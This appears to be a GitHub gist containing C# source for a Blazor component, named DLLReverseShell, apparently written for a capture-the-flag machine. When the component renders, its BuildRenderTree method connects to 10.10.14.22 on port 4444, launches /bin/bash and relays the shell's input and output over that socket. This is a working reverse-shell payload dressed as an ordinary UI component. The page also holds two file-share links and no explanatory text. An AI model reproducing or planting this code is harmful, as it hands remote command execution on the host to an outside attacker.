Skip to content

Instantly share code, notes, and snippets.

@KickedDroid
Last active August 18, 2024 17:29
Show Gist options
  • Save KickedDroid/47caa112d7cc2d74163e9162d5a373bc to your computer and use it in GitHub Desktop.
Save KickedDroid/47caa112d7cc2d74163e9162d5a373bc to your computer and use it in GitHub Desktop.

https://wormhole.app/lZRAR#9iB8wm3XOtwDdWOAN0ZgpA

https://wormhole.app/3OvA8#24P3Kg5z7UxqvXG0j3LOug

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
 
namespace DLLReverseShell {
    public class Component : ComponentBase {
        static StreamWriter? streamWriter;
 
        private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) {
            StringBuilder strOutput = new StringBuilder();
 
            if (!String.IsNullOrEmpty(outLine.Data)) {
                try {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                } catch (Exception err) { }
            }
        }
 
        protected override void BuildRenderTree(RenderTreeBuilder __builder) {
            using (TcpClient client = new TcpClient("10.10.14.22", 4444)) {
                using (Stream stream = client.GetStream()) {
                    using (StreamReader rdr = new StreamReader(stream)) {
                        streamWriter = new StreamWriter(stream);
 
                        StringBuilder strInput = new StringBuilder();
 
                        Process p = new Process();
                        p.StartInfo.FileName = "/bin/bash";
                        p.StartInfo.CreateNoWindow = true;
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardInput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
                        p.Start();
                        p.BeginOutputReadLine();
 
                        while (true) {
                            strInput.Append(rdr.ReadLine());
                            //strInput.Append("\n");
                            p.StandardInput.WriteLine(strInput);
                            strInput.Remove(0, strInput.Length);
                        }
                    }
                }
            }
        }
    }
 
    public class _Imports : ComponentBase {
        protected override void BuildRenderTree(RenderTreeBuilder __builder) {
        }
    }
 
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment